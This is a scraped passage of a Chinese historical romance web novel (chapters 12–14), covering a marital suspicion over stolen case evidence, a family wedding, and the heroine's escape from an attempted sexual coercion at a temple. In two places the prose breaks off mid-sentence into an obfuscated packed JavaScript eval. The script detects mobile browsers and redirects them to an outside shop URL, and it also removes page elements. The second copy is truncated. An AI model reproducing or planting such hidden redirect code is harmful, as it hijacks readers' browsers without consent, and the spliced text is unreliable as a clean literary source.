“你寻常都是将东西交给丫鬟来送,从未踏足过我的书房,今日怎么会一反常态,进了我的书房?”裴翊反问。 “我为母亲去送经书,婆婆见我顺路,便央我去给大爷送吃食。” “我既不在,你走便是,为何要在里面停留了足有那一刻钟的时间?” “因为……”沈若宓沉默片刻,“我有些不舒服,想在里面坐一坐……”她问:“大爷,我连你的书房也不能进吗?” “你不觉得你的巧合未免太多?” 裴翊笑了起来,他第一次用一种异常讥讽的口吻对她说道:“你处心积虑地进入我的书房,到底是想做什么?害我输掉案子,难道这便是沈皇后让你嫁给我的目的?那你知不知道这个案子输了苦主就要蒙冤而死!” 沈若宓心一沉。 裴翊的眼神里,早已没有了昨晚灼烫炽热的温度,而是犹如利刃一般冰冷而锐利地切割着她的每一寸肌肤。 这个男人,常年浸淫在无数案子之中,浑身有一种看破尘世与甚至置身事外的淡漠冷酷。 尤其是他用那等审问犯人的语气审视你时,不怒自威的气势几乎让人不寒而栗,说不出半句话。 “你的这位夫君,办案时真是六亲不认,你也知道你那爹是个不争气。三年前他曾借着向西州买马的肥差贪墨一百万两白银,陛下一怒之下罚了他三年的俸禄,这案子便是你那未来夫君和他老师一同审的。” “曾经裴沈两家因立后一事势同水火,互相攻讦,即便如今已结为亲家,如若触到裴孝均的底线,只怕他仍会大义灭亲,不会放过我与你的父亲,是以,你的首要任务便是维系好与他的关系,必要时,事先与我通信,以防他做出不利于沈家之率。” “年年,这,才是我要你嫁给裴孝均的原因。” 出嫁前,沈皇后曾如是严肃地对沈若宓嘱托。 是,裴翊也没猜错。 君子不立危墙之下,她的确不该进裴翊的书房,给他留下把柄。 可没做过的错事,她也绝不会认。 沈若宓死死攥着自己的掌心,用她那双清凌凌的眸子毫不畏惧地对上他冰冷猜忌的凤眼。 “我听说裴大人向来断案如神,怎么,自己的妻子有没有偷盗,你会不知?” …… 12.第 12 章 万籁俱寂之中,窗外的虫鸣也跟着此起彼伏,格外刺耳。 还夹杂着菱姐儿不时的抽泣。 一声一声,剜着沈若宓的心脏,也让她感觉到无尽的疲惫与厌烦。 哦,这就是她的婚姻。 一场被她的姊妹们艳羡,被众人称作是佳偶良缘的婚姻。 即便前一日他们还曾在一张床上抵死缠绵,即便前一刻她还在多谢他的温柔体贴。 压根没有什么相敬如宾,是“相敬如冰”、同床异梦,她的丈夫无时无刻不在怀疑、提防着她。 就在这一刻,她脑中还突然冒出了另一个叫她毛骨悚然的念头。 在她有孕不到三月之时他便离家远去,期间她被太夫人欺辱,被长公主冷待,被府中刁奴欺负,她不愿求沈皇后,便愚蠢地将希望都放在了这个后半生能给她所有依靠的男人身上,曾给他手写了三封信求他快些回家来救她。 哪怕心知他不能半途回家,幻想那只言片语的安慰也能慰藉她那颗凄慌的心。 他甚至未曾置之一字回复过她。 这是不是也是他的计划之一? 倘若她撑不下去香消玉殒,这场政治联姻便会宣布以失败而终,而他,则不必承担任何的后果。 “大爷若不信,我的芳菲馆任你去搜,若当真是我盗走,今夜你将我休弃我沈若宓也绝不在话下!” “好。”裴翊口中吐出一个字。 他毫不犹豫地对阿松道:“不必去别的房间,就在这间屋子里,去关上大门,你亲自搜!” 不用阿松来,沈若宓把自己的梳妆奁和衣橱都打开,里面的衣服和首饰全都倒出来给裴翊看,床上的被子也全部掀开。 最后自然是什么都没有搜到。 沈若宓有洁癖,屋里都叫人打扫得干干净净。 她见阿松回来对裴翊摇头,按着自己的衣襟直接道:“大爷不信,也可验明正身。” “不必了!” 裴翊立即阻止了她。 片刻后,他紧紧蹙着眉说道:“也许是我错怪了你,你早些歇着吧。” 裴翊走后,素娘轻轻走进来,将她搂在怀中。 就像从前她无数次无助撑不下去的时候,紧紧地抱住她。 “姑娘!”素娘低低叫她。 沈若宓闭目,将脸埋在素娘的胸口中。 “素娘,我累了。好累。”她喃喃,“我想回临安……” “我知道。” 素娘心疼得掉下泪来。 三年前离开临安时沈若宓曾告诉她,等她们为褚氏讨回了公道,不要沈家的锦衣玉食,主仆二人回临安继续卖她们的豆腐。 那时素娘还憧憬着未来,记得邻家那个清雅俊逸的青年秋闱赶考前在主仆二人为褚氏守孝的茅庐外亲口许下的缔结婚姻的承诺。 金榜题名日,洞房花烛时。 也许她们也不必再抛头露面地卖豆腐了。 沈若宓可以做个进士夫人,平安喜乐地过完她这一辈子。 那样该多好。 …… 五月十二,宜祭祀、嫁娶。 裴子文是裴府四爷,二太太梅氏的亲儿子。 裴二老爷裴铮的原配苏氏早逝,生有一子裴子衡、一女裴曼瑛,二太太梅氏是裴铮的续弦,她膝下也有一子裴子文,一女裴韶瑛。 几个婶婶和妯娌之中,唯有梅氏最为厚道,素日里与沈若宓交好,两人时常凑在一起商议一些管家之事,是以裴子文的大婚之日,沈若宓皆亲力亲为,力求做到最好。 裴府的花房自她产后管家开始就一直是在她负责打理,这次婚宴,她将花房中培育最好,且寓意也是最好的牡丹、金边瑞香、百合、月季与兰桂等总计三千盆花摆满了整个府内。 花房中的这些花自然远远不够三千盆,因而绝早的三个月之前她便在城内的三家花行中提前定了另外的两千盆花。 一大早,三家花行便陆陆续续地将沈若宓订的这两千盆花都送到了。 “这些花都是谁选的,这般的不仔细,红缸里的牡丹儿都打蔫了,还摆在这显眼之处!” 老远的,太夫人责备的声音就传入了花房中正在忙活的沈若宓和二太太梅氏的耳朵里。 沈若宓和梅氏对视一眼,两人放下手中活计走过去一看,太夫人面前那缸中的牡丹经过一早的颠簸,肥硕的花朵儿确实有些垂头丧气。 “太夫人说得是,孙媳这就叫人将这缸牡丹移走。” 沈若宓话音刚落,太夫人又“嗤”的一声,万分嫌弃道:“你在个花园子里摆这么多名贵的牡丹干什么?去,叫人将这些魏紫和姚黄全都搬到婚房和大门口的迎亲甬道上。” “还有这些百合,大喜的日子为何要摆白花?阿梅,翊哥儿媳妇是乡下长大的,她不懂事,你也不懂?将它们都撤了,换成旁的花来!” 梅氏唯唯应是,见沈若宓欲要解释,忙扯住她,给她使眼色。 “太夫人,迎客甬道旁的花正是新妇喜欢的月季与兰花,百合之白寓意‘新妇纯贞’,又意‘百年好合’,这些花也全都是照着往年的旧例来的,孙媳不明白何处不妥?” 太夫人冷笑道:“何处不妥?你准备的便皆是不妥!” 说罢拄着拐杖,扬长而去。 梅氏悄悄对沈若宓道:“你莫放在心上,我听说太夫人今日一早是在长公主那里吃了排头,想来心中不忿,才会冲你撒气。” 将事细细给她说了。 原来太夫人一早便起来去了二房,却见阖府的儿媳妇都到齐了,唯独嘉善长公主没到。 其实这也不是什么稀奇事,嘉善长公主打从十几年前就没给太夫人请过安,今日太夫人不知是哪根筋搭错了,莫名气怒不已,先与儿子裴铳起了争执,打发人去请嘉善长公主,嘉善长公主身旁的崔妈妈回复长公主还在睡着,不便见客。 连个理由都懒得敷衍,叫太夫人在一大家子面前好一个没脸。 梅氏倒无所谓,她可不敢要一国公主来给自己长脸,太夫人当时却脸都气白了,居然一句话说不出来。 沈若宓明白了,太夫人对嘉善长公主不敢撒气,便柿子挑软的捏,来她面前摆婆婆的谱儿。 牡丹娇贵,盆栽易死,放在缸里水气方调,将这些牡丹再搬去别处,也不是个简单活计。 裴韶瑛那边还需要梅氏,梅氏走后,沈若宓一个人在花房忙活。 原本搬花的小厮搬完花后早被安排了别的活计,她只好从自己的陪嫁里抽调了三个小厮和四个仆妇去搬牡丹,叮嘱他们万分小心。 至于用什么花代百合,思来想去她挑了芙蓉和芍药,这两类花与牡丹颇类,且寓意和花色都好。 幸而这些花平日里沈若宓养得珠圆玉润,红肥绿瘦,不需过多修剪。 “你看这些姚黄魏紫,圆润如盘,长势多好,怎么要搬走?” 裴曼瑛奇道。 花房在大房的珍园里,陈翰和裴曼瑛闲来无事在府里逛了逛,顺道看看准备得如何。 陈翰一眼就看见了站在花丛深处的沈若宓。 她穿着一身玫红色的掐花对襟小衫,下着天蓝色绣金丝团花纹的月华裙,微微弯腰,正用一把小银剪修建着桌上的一盆芍药,裙摆在阳光的照耀下,居然反射出七彩斑斓的光芒。 当日,陈翰诱骗沈若宓到永兴庵,本是不怀好意。 没想到,后来他竟被沈若宓摆了一道,自饮下她喝剩的那半盏茶水后,便失去所有意识。 等他醒来时,发现自己被揍得鼻青脸肿不说,还被扔到了永兴庵门外胡同口的垃圾堆垛里,浑身衣服被扒得只剩下一条亵裤。 …… 陈翰自知是他大意轻敌,可越是得不到,他心里就越是饥渴难耐,越想得到她。 “她美吗?” “自然是……” 陈翰抬头一看,妻子裴曼瑛正眼神凉凉地看着他,立马笑着改口道:“一个乡下丫头,自然是比不得娘子你的!” 裴曼瑛冷哼一声,“油嘴滑舌,你那个眼珠子都要黏在沈氏的身上了!” 陈翰说道:“娘子冤枉我,我并非是被沈氏吸引住了,而是想起一桩事来,前些时日的晚间,我看见二舅哥与大嫂一起进了荷香居……” 裴曼瑛惊得捂住了嘴巴,“你是说真的?!” 陈翰叹气道:“那还有假?不过子衡毕竟是你的亲兄弟,这事你先莫要冲动说出去。” 心中却暗暗想,等他寻到机会必要沈若宓付出代价! 裴曼瑛呆呆地点头。 …… 新娘子都是黄昏时分出嫁,白天,沈若宓和二太太、三太太,以及帮衬着的二弟妹崔氏、三弟妹潘宝珍一直在忙活。 到下午迎亲时分,在一阵吹吹打打之中,裴子文将新妇曹氏迎回了裴家,自是一阵欢天喜地。 沈若宓跟着梅氏去二房观了裴子文挑喜帕。曹氏生得小家碧玉,温柔腼腆,梅氏看起来对曹氏颇为满意,一整天脸上都洋溢着幸福的笑容。 后面小两口的洞房,就不便观看了,众人移步宴客厅一齐吃席。 沈若宓没什么胃口,随便吃了些便借口不舒服离开了。 她今天忙了一整天,手腕和腰身都像是要散架似的酸疼,一想到回去还要应付调皮的菱姐儿…… 花房就在不远处,她干脆去了花房。 素娘给她从小厨房治了三四个小菜,又端来一壶葡萄酿。 “晓得奶奶不爱跟他们坐一块儿,我看这处的风景不错,有花,有水,还清静些。”素娘笑着道。 “素娘,还是你最了解我!” 沈若宓躺在贵妃椅上,舒服得叹了口气。 “我从小看着奶奶长大,奶奶心里想什么可瞒不过我。” 两人你一言,我一语地絮絮说了起来。 - 那厢男客的宴席也进行得如火如荼,裴翊出门更衣,恰碰上裴子衡、裴少廉与新妇曹氏的哥哥,也是裴子衡的好兄弟,羽林卫指挥同知曹进。 四人沿湖交谈片刻,忽见湖对面不远处有一彩棚亮着灯,裴子衡好风雅,提议道:“那是珍园的花房,不如我们去那处吃酒,不仅有花有水,还清净许多。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328626|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴翊本不想喝太多酒,奈何曹进与裴子衡过于热情,无奈应了。 四人走到中途又遇见一人,乃是刑部侍郎崔伯修,此人自幼与裴翊相熟,听闻有风雅之处,欣然前往。 这花房颇大,共有两层,最上面一层靠近湖水的地方是露台。 五人来到花房门口时,隐约听到楼上传来女子清润悦耳的笑声。 除了裴翊,其余四人面面相觑。 裴少廉说道:“定是府上的丫鬟躲在里面悄悄吃酒赌钱,我上去将他们赶下来。” 曹进笑着说道:“少廉,听这丫鬟笑声清脆,想来是个美人,我们既是乘兴而来,行风雅之举,何必焚琴煮鹤,将人家赶走?不如待会儿让她给咱们斟酒作罚。” 崔伯修听了也连连拊掌叫好。 裴少廉听了却连忙摆手,“不成不成,这就不必了,叫人家走就是了,咱们几个大男人,那小丫鬟在也不自在!” “少廉!” 只有裴子衡猛地咳嗽一声,给裴少廉不停使着眼色。 裴少廉显然没有领会哥哥的意思。裴翊无动于衷,裴子衡也不好提醒众人他认出了自己嫂嫂的声音。 不过他叫的一声倒是提醒了上面的素娘和沈若宓,二人也注意到了楼下的裴翊一行人。 “奶奶,除了大爷、二爷和三爷,剩下的都是外男,这可怎么办啊?”素娘担心地道。 “莫急,我们出去便是。”沈若宓拍了拍自己已有些泛红的脸颊。 早知道,不喝这么多葡萄酿了。 幸好,她酒量好,还没醉。 自那日裴翊质问过沈若宓之后,除了这次裴子文大婚的宴席上瞥过几眼,沈若宓再没见过他。 她们这厢将将把露台收拾完毕,裴翊一行便踩着梯子上来了。 曹进黄汤喝的有些多,沈若宓一出现,他那双眼睛便直勾勾地落在了她的脸上,只觉眼前女子不仅眼熟,且十分美貌。 月色湖水,月下美人。 美人娇容泛红,眼眸似水,欲语还休,叫人心头一颤。 刚巧裴翊就在他身旁,他忍不住道:“孝均,你们府上竟有如此……” 那“美人”二字还未脱口,就听身侧的男人淡淡地道:“夫人,这是四弟妹的兄长,曹家九郎。” “这是刑部侍郎,崔伯修。” 沈若宓走上前来,给四人分别行礼。 曹进真真尴尬无比。 眼前少妇这一身打扮,压根就不是个丫鬟能穿戴得起的,尤其是她裙摆上名贵的孔雀羽丝。 先前裴翊一桩案子办得好,向兴启帝讨赏要那孔雀羽丝的时候他分明就在殿门外面站着,那时他还好奇这铁面无私的裴大人要这孔雀羽丝做什么,怎么这会儿竟忘的一干二净! 不仅将裴翊之妻认作了丫鬟,还出言轻浮狎昵! 气氛一时冷了下来。 裴少廉朝他大哥瞟去,果见他家大哥脸色冷淡。 裴子衡忽然朗声笑了起来,“怪我,都怪我附庸风雅,非要大家来这花房,惊扰到了大嫂。大嫂,我们本想来此处躲清闲,没想到凑巧碰到了你,还望大哥和大嫂莫要怪罪才是。“ 说着连忙朝着二人作揖告罪。 曹进忙道:“我也有错,是我撺掇子衡过来,我也像孝均和嫂子告罪。” 沈若宓岂是那等不赶眼色之人,“哪里是惊扰,诸位若是不介意,还请楼上坐,我这就去下厨备酒。” 说到此处,微微一顿,看向裴翊。 好像那日的什么都没发生过一样。 众人都看向裴翊。 曹进紧紧盯着裴翊。 “那便辛苦夫人了。”裴翊说道。 裴子衡:“这下嫂子你可跑不脱了,我们要好酒,好菜!” 沈若宓微笑着道:“二叔言重了。” 厨房此刻有现成的吃食,沈若宓假装忙活了一通,让素娘直接端了过去。 不消片刻,丫鬟便陆续端上来五菜一汤。 这五菜分别是粉蒸肉、栗子炒鸡、黄芽菜煨火腿、金花菜、酱炒三果,最后一道山药板栗乌鸡汤,配上香甜的松花饼与云片糕。 白天吃了不少肥甘厚腻的大鱼大肉,沈若宓送上来的这些都十分清淡,滋味却是鲜美异常。 裴少廉感叹道:“没想到大嫂的厨艺这么好,大哥你真是有福气!” 崔伯修也笑道:“嫂子美貌贤惠自不必说,对孝均更是温柔体贴,我看陛下给孝均赐下的可真是段佳偶良缘,真真是叫人羡慕生恨,孝均,你可得好好待嫂子才是!” 于是,众人都大笑着附和起来,曹进还特意给裴翊盛了一碗乌鸡汤赔罪。 “孝均,这乌鸡炖得香软入味,你快尝尝,当真是鲜美极了!” …… 楼下的沈若宓听着他们的动静,默然无语。 她与裴翊倒是默契,背地里吵架,表面上在众人面前还是得忍怒装出一副恩爱夫妻的模样。 这样到底有什么意思? 她不想再听这些人的声音,连离开都懒得知会他们一声,起身走了。 13.第 13 章 男人嘛,聚在一起除了谈论朝堂局势便是女人,沈若宓凝神听了一会儿,发现与沈家无关,也就没有耐心再继续听下去了。 就在这时,只听那崔伯修突然提起来一事。 “孝均,听说你前几日审的那桩通奸案有了结果?” 曹进感兴趣地问:“什么通奸案,说来听听?” 崔伯修便解释了起来。 说是贵州有一门王姓人家,这家家主曾任当地一县城主簿,王主簿死后其妻郭氏守寡了三年,去年被继子王随控告与家中借住的房客薛推事通奸,且在去年五月三日的夜里被捉奸现行,众人还在房中搜到了郭氏与薛推事私下往来的证物。 按理说此案证据确凿,但在堂上郭氏与房客薛推事却皆拒不认罪。 近一年来,这事经由当地的县衙、府衙会审之后,一致判定郭氏与薛推事通奸成立。 因薛推事是官,郭氏又是官员之妻,按大周律例,官员与官员之妻通奸,男女双方皆被判绞刑。而大周律讲究是“有罪推理”,对待拒不招供的犯人,倘若证据确凿,也可判定为“据状断之”。 简而言之,便是有证物而无口供定罪。 有意思的是,这事上报到贵州按察司之后,之前还铁骨铮铮的郭氏与薛推事居然认罪了。 大理寺主管案件复核,尤其是对死刑的复核往往慎之又慎,裴翊接触到这案子的第一个反应便是这案子大有蹊跷。 尤其在他详细阅读和核对过贵州按察司和刑部送来的卷宗之后,果不其然在其中发现了猫腻。 “其一,这继子前后供词不一致,在最初的状纸中,王随还曾污蔑郭氏与薛推事暗胎珠结,此后被大夫证实是假,这说明此人口中没有几句实话。” “其二,县衙府衙审后郭氏与薛推事拒不认罪,但在按察司会审之后,二人认罪,与情理不合,极有可能屈打成招。” “其三,”裴翊说道:“王主簿自娶妻之后一直未有子,因而过继兄弟之子王随,其后原配病逝,王主簿续弦郭氏,与王主簿生有一子,今年六岁。倘若郭氏确实与薛推事通奸,她死后,郭氏之子尚幼,王家的家产便会尽数落入王随手中。” 这便是裴翊怀疑郭氏和薛推事被冤的原因。 事实上也的确是如此。 裴翊派人去贵州秘密调查后得知,原来这郭氏生得貌美如花,王随平日里便一直觊觎她,郭氏不肯从王随,这人便买通贵州按察司的一名官员将薛推事和郭氏屈打成招。 就在前不久,薛推事因身体原因在狱中病故,何况郭氏一个弱女子,她如今被监禁一年,只怕很难挺到自己被行刑的那一天。 这也是裴翊费尽心思想立即将郭氏从狱中救出来的原因。 …… 原本要走的沈若宓听他们谈论此事,又驻足停留了片刻。 她大概明白了。 继子贪心王家家产和逼.奸继母郭氏被拒不成后怀恨在心,这才借故陷害。 恐怕裴翊丢失的关键证纸,便是那大孝子王随初次交由县衙的状纸。 说到这状纸,她亦是百思不得其解,既然她没有去碰那状纸,那究竟在她之后是被谁取走了? 后来她还听说裴翊命人在九辩院四处搜寻也没寻出个所以然来,莫非最后是真被风吹走了? 也不知裴翊后面是如何解决这事的。 那厢露台上众人听罢之后,都各自发表了自己的见解。 只听那曹进就唏嘘道:“看来这女人生得太美,也未必是件好事!” …… 曹进和裴子衡酒量和酒品都不错,两人自觉有醉意便告辞离去了。 裴翊本不想多喝,却被崔伯修这厮硬灌了不少酒。 他平日里坚信吃酒误事,因而极少吃酒。 然而这次的酒,不仅难吃,且烧嘴烧胃,也不知那几个是怎么从口中灌下去的。 月上中天。 人群散后,裴翊躺在露台的小榻上,任由夜间的凉风吹向自己泛红的脸颊。 “爷……” 他闭着双目,一双纤纤柔荑沾着冷水的帕子轻轻擦拭他的脸颊,隐约听到是他的妻子在他耳旁娇声软语地说着什么。 那日他的确没在她房中搜到什么证据,后续也没能找到那状纸。 是他自己不够谨慎,确实赖不得旁人。 但既然沈若宓有心与他重修于好,裴翊也不是那等心胸狭隘之人,想来日后她便知晓不能随意出入他的书房了。 接着,他便任由醒酒汤那清凉独特的味道就缓缓流入了他的喉中。 片刻后,裴翊骤然清醒,却见他的丫鬟粉钏立在一侧,装醒酒汤的杯子在一边安静摆着。 早没了妻子的踪影。 “奶奶呢?”他问。 她不早就走了吗? 粉钏没明白裴翊的意思,说:“奶奶回去了。” 裴翊皱起了眉。 “大爷还有什么吩咐?” “无。” 裴翊面无表情地应了一声,随即也起身离开了。 - 这日,沈若宓同嘉善长公主告了假出门上香。 上香是假,这次出门有两个目的,第一她依旧不放心陈翰担心他伺机报复,故给了这次随自己出门的贾婆子一大笔银子叫她去陈翰的街坊邻居打听他先前的那些风流债,好当做把柄拿捏。 第二是她想做个小生意。 沈家在山东老家时便是做木材生意的,出嫁前沈皇后送了她不少陪嫁,田庄、布庄、酒楼、脂粉铺……应有尽有。 但沈家的东西,于沈若宓而言如同嗟来之物,她更想凭着自己的本事挣钱。 而她最拿手的东西,便是这一身做豆腐的手艺了。 只是,她答应过沈皇后不会再做豆腐。 毕竟一个住在道观中的深闺女子,有一手做豆腐的手艺实在是让人贻笑大方。 她便寻思,京都城鱼龙混杂,南来北往的游客到处都是,客人们京都菜和山珍海味吃惯了,或许她可以先开个小酒楼试试,店里可以做些拿手的山东家常小菜来吸引客人,只要物美价廉总会开起来。 主意打定,她开始琢磨选址。 正阳门外大街俗称前门外大街,是京都城最繁华的商铺聚集地,在前门外大街上逛了半圈,这里的商铺不是租金太高,就是位置不好,没有一个令她满意的。 “奶奶,咱们也用不急于一时,我适才听人说,今日是礼部赐新进士的恩荣宴,新科进士们正从正门外大街打马去往礼部参加恩荣宴呢,据说那探花郎是这群新科进士中最年轻最俊俏的郎君,咱们不如也过去凑个热闹!” 雪茜从外面出溜进来,万分期待地央求着沈若宓道。 素娘说:“你这小蹄子,奶奶今天出来可是有正经事办,你要看自己去看好了。” 雪茜就撒娇道:“就顺道一起去看看嘛,又不耽误正事,再不去人家都要走了!” 沈若宓下意识走到门口看过去,只见周围人确实都兴高采烈地朝着正阳门的位置跑过去。 大街上不知何时已是人满为患,隐约可见人群最前面簇拥着一队几十人个身着大红色喜袍的士子,想来便是这一届的新科进士了。 有个人影好似很是熟悉。 她浑身蓦地一冷,想要寻出去看看那人是不是他,却又在踏出大门后硬生生地顿住步子。 就算是他又能如何? 并不能如何。 她收回目光,重新走回了铺子里,“你若想去,便自己去看看吧,我和素娘在这儿等你回来。” 沈若宓和素娘都不肯去,雪茜也不好意思自己去,遂只能作罢。 三人等人群散了些,才绕人少的小路去了这次要上香的寺院普济寺。 在大雄宝殿上香完毕,僧人捧着素斋过来,邀请沈若宓品尝用膳。 沈若宓却有些魂不守舍,食不下咽。 本朝科试每两年举行一次,称之为大比。 算一算,他离开临安那一年正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈翰啧啧笑道:“我真没想到,嫂嫂你平日里看着柔柔弱弱,再好欺负不过,在我面前还能放出这等狠话!” “不过,都说牡丹花下死,做鬼也风流,我还真想试试,平素我最是温柔贤惠的大嫂,竟有这般烈性,不知尝起来究竟是怎么个滋味?” 说着凑到沈若宓耳旁,低低笑了起来,“嫂嫂,你尽可以去找你的皇后姑姑告状,你信不信你前脚出了这普济寺的大门去宫里,后脚我就去告诉老太太是你勾引我在先。” “你应当最是清楚不过,长公主和老太太向来不喜你与大舅哥这桩婚事,认定你与皇后娘娘一般皆是红颜祸水,你猜,届时老太太会信你还是信我?” “为了裴沈两家联姻,皇后娘娘不知道费了多少心思,她绝不会容许任何人来破坏,死了一个沈若宓,你的妹妹们都会争着抢着来做裴孝均的续弦。而一旦你失贞,便是弃子!下场是什么,就不必我来告诉你了吧?” 沈若宓扬唇冲他一笑,“你说得不错,但男欢女爱讲究的是你情我愿,你这般胁迫我,又有什么意思?陈翰,你觉得自己还算个男人吗?还是说,你根本没有信心能让我倾慕于你,心甘情愿与你共赴巫山?” 她挑衅的眼神和话语显然戳中了陈翰的心窝。 陈翰跪在她面前说:“那你到底要怎样!我的好姐姐,我整日想你想得睡不着、吃不香,求求你了你就从了我吧!” 沈若宓:“你真就这么喜欢我?要从你也不是不可以,但你那老婆是个母老虎,我可不敢得罪她,万一被她发现必然没有好果子吃。” 陈翰赶紧向沈若宓再三保证绝不会连累她,他只求一夕之欢云云,等到沈若宓高傲地冲他一点头,柔声道:“翰哥儿,你过来,我有话对你说……” 陈翰登时被她那娇笑迷得七荤八素,迷迷糊糊地凑了过去,突然看见眼前美人的嘴角淌出大片的血,接着她猛地抬起一把闪着寒光的刀狠狠往他的身上扎去! 14.第 14 章 从七岁开始,沈若宓就跟着自己的奶娘,素娘的姐姐静娘卖豆腐。 静娘和褚氏从小一起长大,她做的豆腐只有四个字来形容——鲜嫩甘醇。很有豆腐的清香,就连镇上的客人都会慕名而来买她做的豆腐。 因为自沈若宓出生之后,沈继宗就抛弃了她跟娘,再也不管不问。除了身边的两个丫鬟,姐妹俩静娘素娘,以及一座沈氏旧宅和里面的两个老仆,褚氏一无所有。 再到后来,沈继宗离开了山东,褚氏再无他的音讯。 也就是从那时开始,沈若宓就一直在跟着静娘学着做豆腐、卖豆腐。 她知道那把豆腐刀如何能够在最短的时间之内伤中对方的要害,叫他动弹不得。 可惜被陈翰躲过一劫。 陈翰大叫一声,原本要扎进他左眼的豆腐刀狠狠切在了他的左肩上,他下意识去捂住自己的左肩,下一刻又被沈若宓以迅雷不及掩耳之势踢中下.体。 霎时间天旋地转,陈翰捂着要害倒在地上再也爬不起来。 沈若宓担心外面有人看守,连忙从最近的窗户跳了出去。 恐怕陈翰也没想到,他以为沈若宓是柔弱胆小的深闺淑女,殊不知她根本就是乡野间被粗养长大的野丫头,一个从小就做豆腐、干农活的女子怎么可能手无缚鸡之力。 沈若宓跳下窗后抄起窗下的一根大木棒,听见隔壁的房间似乎有呜呜的求救声,立即用棍子将窗户砸碎,果见素娘和雪茜被绑在屋里。 这时陈翰的小厮阿吉也跑了过来,犹豫着想上前制服沈若宓。 “你胆敢再上前一步,我乃皇后娘娘的亲侄女,永福县主!”她厉声喝道。 “我给他下了毒,再不去救你主子,他就要七窍流血而死了!” 那小厮终究没有陈翰那般的雄心豹子胆,他本来也不敢对沈若宓怎么样,一听沈若宓这话,立马扭头去救自家主子了。 沈若宓将素娘和雪茜都从房间里救出来,主仆三人往寺外逃去。 这次出门她本是带了贾氏和黄氏两个婆子护身的,如今这两人却也不见人影。 “好像在那儿!”雪茜忽指着一处叫道。 沈若宓惊魂未定地跑过去,未料从走廊拐角处也匆匆走来一人,两人肩挨着肩撞了个满怀。 “你没长眼睛啊!”那女子气恼道。抬眼一看,却是一愣,“大嫂?!” 裴曼瑛看着眼前女子,发髻和衣衫散乱,小脸惨白,面无表情,和平日里仪态万千的模样大相径庭。 她身边的两个丫鬟也没见好到哪里去,不像是出来礼佛,倒像是遭劫了似的。 裴曼瑛颇有些幸灾乐祸道:“呦,怎么嫂嫂邋遢成这幅模样了,是哪个不长眼的敢欺负你皇后侄女,永福县主啊?” 沈若宓冷笑,“谁欺负了我?二姑姐,这人就是你的好夫君!” 她话音刚落,就听陈翰骂骂咧咧的声音由远及近。 “你这话何意?!” 裴曼瑛平素在府中便仗着太夫人的宠爱横行霸道,一听这话登时勃然大怒,指着沈若宓的鼻子就骂道:“你这淫.妇,分明是你勾引我二哥在先,如今竟还敢污蔑我夫君欺辱你,你还要脸不要!” “我污蔑?你这蠢猪!也不让你那脏心烂肺好夫君撒泡尿照照自己的那张脸,若不是因为娶了你这蠢妇,他也配登裴家的大门!” 裴曼瑛一时没想到对方竟骂的比她还脏还要泼辣,直接愣在了原地。 沈若宓担心自己被这夫妻俩辖制,不再过多纠缠,整理了下自己的仪容,丢下呆愣住的裴曼瑛和素娘雪茜便匆匆离去。 …… 出寺之后她看到了裴家的马车,但因担心同样被陈翰收买,没敢再坐,雇了旁边一人的马车后,直往裴家赶。 “大奶奶,我们要怎么办,要不去宫里找皇后娘娘,让她给我们做主吧!”雪茜哭着说道。 素娘晓得沈若宓一向不喜欢求皇后,只如今危机时刻,除了皇后,怕没人能救了他们。 两人都眼巴巴地看着沈若宓,只等她拿主意。 沈若宓撩起帏帘,看着外面的天色。 “宫门就要落钥,即便此刻去宫里,也见不到姑姑了,何况夜闯宫门是大罪,我们担不起。” “那我们明天一早再去!”雪茜忙道。 “嫂嫂,你尽可以去找你的皇后姑姑告状,你信不信你前脚出了这普济寺的大门去宫里,后脚我就去告诉老太太是你勾引我在先!” “为了裴沈两家联姻,皇后娘娘不知道费了多少心思,她绝不会容许任何人来破坏,死了一个沈若宓,你的妹妹们都会争着抢着来做裴孝均的续弦。而一旦你失贞,便是弃子!下场是什么,就不必我来告诉你了吧?” 陈翰的每一句话,都如同一把锥子在深深戳着沈若宓的心脏,刺得她喘不上气来。 没错,陈翰说的对。 一旦他去告状,太夫人绝不会信她。 如若太夫人要将此事闹大,借此休妻,她也不敢保证姑姑能保下她。 可是凭什么,明明是陈翰先骚扰欺辱她在先! 不,不,不能慌,不能乱,必然还没到山穷水尽之时。 或许,她也可以用其它的手段除掉陈翰。 良久,沈若宓深深地吸了一口气。 “先回裴家。” - 在路上贾婆子便将来龙去脉告诉了沈若宓果然是被陈翰有意支开。 所幸她不负众望问出了陈翰从前的不少风流韵事,她把当初从陈翰身上顺来的玉佩交给了贾婆子,嘱咐了她几句。 素娘:“这能行吗?” “裴曼瑛素来善妒,他敢污我清白,我也要让他尝尝被人骂奸.夫淫.妇的滋味!”沈若宓冷笑。 回到裴家沈若宓特意换了一身素净的衣服,又迅速在脸上和唇上扑了点白粉,让自己看起来有些憔悴。 随后,她起身去了九辩院。 这个时间,裴翊应当该回来了。 她没料错,裴翊正在内室更衣,听到沈若宓拎着食盒过来,他动作略微一顿,了然。 “让她进来。” 沈若宓还以为裴翊至少会刁难自己,没想到这人没为难她,她就这么顺利地进去了。 她当然也没空手过来,让雪茜快速去小厨房拿了些裴翊爱吃的吃食和糕点。 “大爷,这几日你操劳不少,我给你亲手做了些小菜,你尝尝合不合你的口味。” 她耐心地将菜一道道布好,随后将牙箸亲自递到裴翊的面前。 方桌中央,摆着一碗热气腾腾、香气扑鼻的一碗乌鸡汤。 裴翊:“……” 裴翊瞥了一眼沈若宓,接过牙箸。 “你若饿,坐下一起用些吧。” 